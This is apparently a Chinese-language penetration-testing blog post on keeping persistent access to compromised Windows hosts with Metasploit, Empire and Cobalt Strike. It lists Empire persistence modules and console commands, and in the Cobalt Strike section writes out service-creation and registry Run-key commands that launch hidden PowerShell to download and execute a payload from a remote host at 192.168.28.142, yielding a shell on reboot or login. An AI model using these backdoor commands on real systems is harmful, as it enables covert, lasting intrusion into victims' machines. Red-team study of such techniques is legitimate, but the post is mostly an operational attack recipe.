三大渗透框架权限维持

2019-10-03 13:43:58 浏览数 (1)

在渗透测试中,有三个非常经典的渗透测试框架--Metasploit、Empire、Cobalt Strike。

那么,通过漏洞获取到目标主机权限后,如何利用渗透框架获得持久性权限呢?

0x01 MSF权限维持

使用MSF维持权限的前提是先获得一个meterpreter shell,通过meterpreter shell获取持久性shell的方法有两种:

Persistence模块

通过启动项启动(persistence)的方式,在目标机器上以反弹回连。

代码语言:javascript复制
-U:设置后门在用户登录后自启动。该方式会在HKCUSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表信息。推荐使用该参数;-X:设置后门在系统启动后自启动。该方式会在HKLMSoftwareMicrosoftWindowsCurrentVersionRun下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。-S:作为服务自动启动代理程序(具有SYSTEM权限)

生成的相关文件位置 :

代码语言:javascript复制
# 后门文件位置:    C:WindowsTemp    C:UsersAdministratorAppDataLocalTemp# 注册表位置:    HKCUSoftwareMicrosoftWindowsCurrentVersionRun    HKLMSoftwareMicrosoftWindowsCurrentVersionRun

Metsvc 模块

通过服务(metsvc)启动的方式,在目标机器启动后自启动一个服务,等待连接。

目标主机上开启了一个Meterpreter服务。

0x02 Empire 权限维持

Empire的persistence模块提供了18种权限维持的方法,大致可以分为四类,即

elevated(管理权限)

misc(杂项)

powerbreach(内存维持)

userland(用户权限)

registry*

add_netuser

deaduser

backdoor_lnk

schtasks*

add_sid_history*

eventlog*

registry

wmi*

debugger*

resolver

schtasks

wmi_updater*

disable_machine_acct_change*

get_ssps

install_ssp*

memssp*

skeleton_key*

注册表

代码语言:javascript复制
(Empire: agents) > agents(Empire: agents) > interact URL3FZBV(Empire: URL3FZBV) > usemodule persistence/elevated/registry*(Empire: powershell/persistence/elevated/registry) > set Listener test(Empire: powershell/persistence/elevated/registry) > execute

因为是开机启动,所以会弹个黑框,之后还会弹出注册表添加的powershell启动项的框,在注册表位置如下:

计划任务

代码语言:javascript复制
(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/schtasks*(Empire: powershell/persistence/elevated/schtasks) > set Listener test(Empire: powershell/persistence/elevated/schtasks) > set DailyTime 22:50(Empire: powershell/persistence/elevated/schtasks) > execute

在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell

wmi

代码语言:javascript复制
(Empire: agents) > interact 9NZ2RWBC(Empire: 9NZ2RWBC) > usemodule persistence/elevated/wmi(Empire: powershell/persistence/elevated/wmi) > set Listener test(Empire: powershell/persistence/elevated/wmi) > run

如何清除后门,最简单的方法就是使用Autoruns,选择WMI选项卡,右键就可以删除恶意后门。

0x03 Cobalt Strike权限维持

通过Cobalt Strike拿到一个shell,留后门的方法有很多,下面介绍两种比较常见的无文件、自启动后门。

从Cobalt Strike菜单栏,Attacks--Web Drive-by--Scaripted Web Delivery,生成powershell后门。

根据需要可以自己选择,填写所需参数默认端口是80(需要注意的就是不要使用重复端口),Type选择powershell。

点击Launch后,返回powershell远程下载执行命令。

服务自启动后门

代码语言:javascript复制
sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))""sc description  Name "Just For Test"   //设置服务的描述字符串sc config Name start= auto             //设置这个服务为自动启动net start Name                         //启动服务

重启服务器后,成功返回一个shell。

注册表自启动

在windows启动项注册表里面添加一个木马程序路径,如:

代码语言:javascript复制
beacon>getsystembeacon>shell reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Keyname" /t REG_SZ /d "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8080/a'))"" /f

账号注销后,重新登录,界面上会出现powershell快速闪过消失,成功返回shell。

注册表还有哪些键值可以设置为自启动:

代码语言:javascript复制
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon

0 人点赞